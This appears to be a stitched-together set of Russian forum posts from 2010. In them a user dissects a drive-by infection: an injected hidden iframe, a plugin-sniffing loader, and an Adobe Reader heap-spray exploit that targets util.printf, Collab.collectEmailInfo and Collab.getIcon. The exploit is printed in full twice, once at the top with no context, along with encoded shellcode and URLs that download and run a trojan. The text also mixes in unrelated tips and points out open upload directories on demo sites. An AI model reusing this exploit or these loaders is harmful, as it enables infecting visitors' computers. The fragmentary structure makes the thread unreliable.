function BXcfTYewQ(){ function fix_it(yarsp,len){ while(yarsp.length*2<len){yarsp+=yarsp; } yarsp=yarsp.substring(0,len/2);return yarsp; } function util_printf(){ var payload=unescape("쀳譤぀౸䂋謌ᱰ训ࡘ৫䂋贴籀墋樼婄俫剚襖ѕ坖王謼㍴͸図皋̠㏳䧉䅐㎭㛿븏̔ࡴ쿁̍䃺㭘痸廥䚋̤曃ಋ譈᱖팃ҋΊ心偞跃ࡽ剗㎸諊ﾢ쀲껲롏⹥硥暫暘낫詬飠桐湯搮畨汲呭躸๎￬ѕ傓쀳偐譖ѕ슃荿㇂偒㚸⼚ｰѕ㍛埿롖ﺘຊ嗿圄｠ѕ瑨灴⼺愯捤畯瑮牥⹳敮⽴慦⽲潬摡瀮灨政㈽"); var nop=unescape("ਊਊਊਊ") var heapblock=nop+payload; var bigblock=unescape("ਊਊ"); var headersize=20; var spray=headersize+heapblock.length; while(bigblock.length<spray){bigblock+=bigblock;} var fillblock=bigblock.substring(0,spray); var block=bigblock.substring(0,bigblock.length-spray); while(block.length+spray<0x40000){block=block+block+fillblock;} var mem_array=new Array(); for(var i=0;i<1400;i++){mem_array=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f",num); } function collab_email(){ var shellcode=unescape("쀳譤぀౸䂋謌ᱰ训ࡘ৫䂋贴籀墋樼婄俫剚襖ѕ坖王謼㍴͸図皋̠㏳䧉䅐㎭㛿븏̔ࡴ쿁̍䃺㭘痸廥䚋̤曃ಋ譈᱖팃ҋΊ心偞跃ࡽ剗㎸諊ﾢ쀲껲롏⹥硥暫暘낫詬飠桐湯搮畨汲呭躸๎￬ѕ傓쀳偐譖ѕ슃荿㇂偒㚸⼚ｰѕ㍛埿롖ﺘຊ嗿圄｠ѕ瑨灴⼺愯捤畯瑮牥⹳敮⽴慦⽲潬摡瀮灨政㈽"); var mem_array=new Array(); var cc=0x0c0c0c0c; var addr=0x400000; var sc_len=shellcode.length*2; var len=addr-(sc_len+0x38); var yarsp=unescape("邐邐"); yarsp=fix_it(yarsp,len); var count2=(cc-0x400000)/addr; for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;} var overflow=unescape("ఌఌ"); while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow}); } function collab_geticon(){ if(app.doc.Collab.getIcon){ var arry=new Array(); var vvpethya=unescape("쀳譤぀౸䂋謌ᱰ训ࡘ৫䂋贴籀墋樼婄俫剚襖ѕ坖王謼㍴͸図皋̠㏳䧉䅐㎭㛿븏̔ࡴ쿁̍䃺㭘痸廥䚋̤曃ಋ譈᱖팃ҋΊ心偞跃ࡽ剗㎸諊ﾢ쀲껲롏⹥硥暫暘낫詬飠桐湯搮畨汲呭躸๎￬ѕ傓쀳偐譖ѕ슃荿㇂偒㚸⼚ｰѕ㍛埿롖ﺘຊ嗿圄｠ѕ瑨灴⼺愯捤畯瑮牥⹳敮⽴慦⽲潬摡瀮灨政㈽"); var hWq500CN=vvpethya.length*2; var len=0x400000-(hWq500CN+0x38); var yarsp=unescape("邐邐"); yarsp=fix_it(yarsp,len); var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000; for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;} var tUMhNbGw=unescape("%09"); while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw="N."+tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version=app.viewerVersion.toString(); version=version.replace(/\D/g,''); var varsion_array=new Array( version.charAt(0), version.charAt(1), version.charAt(2)); if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();} if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();} if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();} } pdf_start();}
Создайте html страничку с кодом я.директа и укажите на неё гуглю.
Но сомневаюсь я по поводу релевантности объявлений при таком подходе.
Продолжение )
Последний код качает и выполняет exe файл http://adcounters.net/far/load.php?e=2
который последним DrWeb'ом распознается как "Trojan.DownLoad.35952"
А что он там уже качает незнаю ))
Писать историю логинов в базу и туда-же ip (можно еще и заголовки прокси x-fwd и т.д.), кроном проверять наличие одинаковых ip у разных юзеров.
При регистрации и логине использовать капчу.
исполняется это
fr=document.createElement('iframe');fr.src="http://adcounters.net/far/show.php?s=eb31d196fc";
fr.style.display="none";
document.getElementsByTagName('body')[0].appendChild(fr);
потом грузится закодированное вот это
function Complete(){setTimeout('location.href = "http://smotribezsms.ucoz.ru/',2000);}function pdf(){var isInstalled=false;if(navigator.plugins&&navigator.plugins.length){for(var x=0;x<navigator.plugins.length;x++){if(navigator.plugins[x].description.indexOf('Adobe Acrobat')!=-1){isInstalled=true;break;}
if(navigator.plugins[x].description.indexOf('Adobe PDF')!=-1){isInstalled=true;break;}}}else if(window.ActiveXObject){var control=null;try{control=new ActiveXObject('AcroPDF.PDF');}catch(e){}
if(!control){try{control=new ActiveXObject('PDF.PdfCtrl');}catch(e){}}
if(control){isInstalled=true;}}
if(isInstalled){var ua=navigator.userAgent.toLowerCase();if(ua.indexOf("firefox")!=-1){var pdfelement=document.createElement('embed');document.body.appendChild(pdfelement);pdfelement.width='1';pdfelement.height='1';pdfelement.src='./pdf.php';pdfelement.type='application/pdf';}else{var pdfelement=document.createElement('iframe');pdfelement.setAttribute('src','./pdf.php');pdfelement.setAttribute('width',200);pdfelement.setAttribute('height',200);pdfelement.setAttribute('style','display:none;');document.body.appendChild(pdfelement);}
setTimeout("Complete();",2000);}else{Complete();}}
pdf();
- ГС для отвода глаз + сплоит, который открывает httр://adcounters.net/far/pdf.php, тем самым запускает acrobat reader и исполняет это
lyoxa добавил 15.01.2010 в 15:21
который открывшись в окне браузера выполняет это
lyoxa добавил 15.01.2010 в 15:22
function BXcfTYewQ(){function fix_it(yarsp,len){
while(yarsp.length*2<len){yarsp+=yarsp; }
yarsp=yarsp.substring(0,len/2);return yarsp;
}
function util_printf(){
var payload=unescape("쀳譤぀౸䂋謌ᱰ训ࡘ৫䂋贴籀墋樼婄俫剚襖ѕ坖王謼㍴͸図皋̠㏳䧉䅐㎭㛿븏̔ࡴ쿁̍䃺㭘痸廥䚋̤曃ಋ譈᱖팃ҋΊ心偞跃ࡽ剗㎸諊ﾢ쀲껲롏⹥硥暫暘낫詬飠桐湯搮畨汲呭躸๎￬ѕ傓쀳偐譖ѕ슃荿㇂偒㚸⼚ｰѕ㍛埿롖ﺘຊ嗿圄｠ѕ瑨灴⼺愯捤畯瑮牥⹳敮⽴慦⽲潬摡瀮灨政㈽");
var nop=unescape("ਊਊਊਊ")
var heapblock=nop+payload;
var bigblock=unescape("ਊਊ");
var headersize=20;
var spray=headersize+heapblock.length;
while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);
var block=bigblock.substring(0,bigblock.length-spray);
while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();
for(var i=0;i<1400;i++){mem_array=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45000f",num);
}
function collab_email(){
var shellcode=unescape("쀳譤぀౸䂋謌ᱰ训ࡘ৫䂋贴籀墋樼婄俫剚襖ѕ坖王謼㍴͸図皋̠㏳䧉䅐㎭㛿븏̔ࡴ쿁̍䃺㭘痸廥䚋̤曃ಋ譈᱖팃ҋΊ心偞跃ࡽ剗㎸諊ﾢ쀲껲롏⹥硥暫暘낫詬飠桐湯搮畨汲呭躸๎￬ѕ傓쀳偐譖ѕ슃荿㇂偒㚸⼚ｰѕ㍛埿롖ﺘຊ嗿圄｠ѕ瑨灴⼺愯捤畯瑮牥⹳敮⽴慦⽲潬摡瀮灨政㈽");
var mem_array=new Array();
var cc=0x0c0c0c0c;
var addr=0x400000;
var sc_len=shellcode.length*2;
var len=addr-(sc_len+0x38);
var yarsp=unescape("邐邐");
yarsp=fix_it(yarsp,len);
var count2=(cc-0x400000)/addr;
for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("ఌఌ");
while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});
}
function collab_geticon(){
if(app.doc.Collab.getIcon){
var arry=new Array();
var vvpethya=unescape("쀳譤぀౸䂋謌ᱰ训ࡘ৫䂋贴籀墋樼婄俫剚襖ѕ坖王謼㍴͸図皋̠㏳䧉䅐㎭㛿븏̔ࡴ쿁̍䃺㭘痸廥䚋̤曃ಋ譈᱖팃ҋΊ心偞跃ࡽ剗㎸諊ﾢ쀲껲롏⹥硥暫暘낫詬飠桐湯搮畨汲呭躸๎￬ѕ傓쀳偐譖ѕ슃荿㇂偒㚸⼚ｰѕ㍛埿롖ﺘຊ嗿圄｠ѕ瑨灴⼺愯捤畯瑮牥⹳敮⽴慦⽲潬摡瀮灨政㈽");
var hWq500CN=vvpethya.length*2;
var len=0x400000-(hWq500CN+0x38);
var yarsp=unescape("邐邐");
yarsp=fix_it(yarsp,len);
var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;
for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");
while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;
app.doc.Collab.getIcon(tUMhNbGw);
}
}
function pdf_start(){
var version=app.viewerVersion.toString();
version=version.replace(/\D/g,'');
var varsion_array=new Array(
version.charAt(0),
version.charAt(1),
version.charAt(2));
if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}
}
pdf_start();}
а тут сами уже ))
Взломали хостера, все каталоги которые имели права 777 засрали дорами.
Все каталоги с правами апача или нободи. Вобщем, меняйте хостера.
пишется в базу id сессии, сгенереная абракадабра и time().
при запросе файла (/session_id/bla-bla/id файла/) смотрим базу, если все ок, то отдаем файл.
кроном периодически чистим старые записи.
id файла можно убрать из запроса если при первом обращении в базу дописать и его.
lyoxa добавил 13.01.2010 в 19:27
у вас в примере, видимо, примерно так и устроено.
но это средствами php, что отразится на нагрузке )
снова
http://demofull. imagecms.net/js/tinymce/
http://demofull. imagecms.net/uploads/gallery/
http://demoblog. imagecms.net/uploads/gallery/
я чета забыл про него, вот еще попробуй. этот на память жадный.
=)
tinybrowser аплоадер доступен любому.
http://demoblog. imagecms.net/js/tinymce/ тут так
http://demoblog. imagecms.net/js/ а тут вон как )
вот, с либой из phpmyadmin и какого-то примера
$directory = '.'; // что паковать, папка
$zipfile = 'myziparchive.zip'; // куда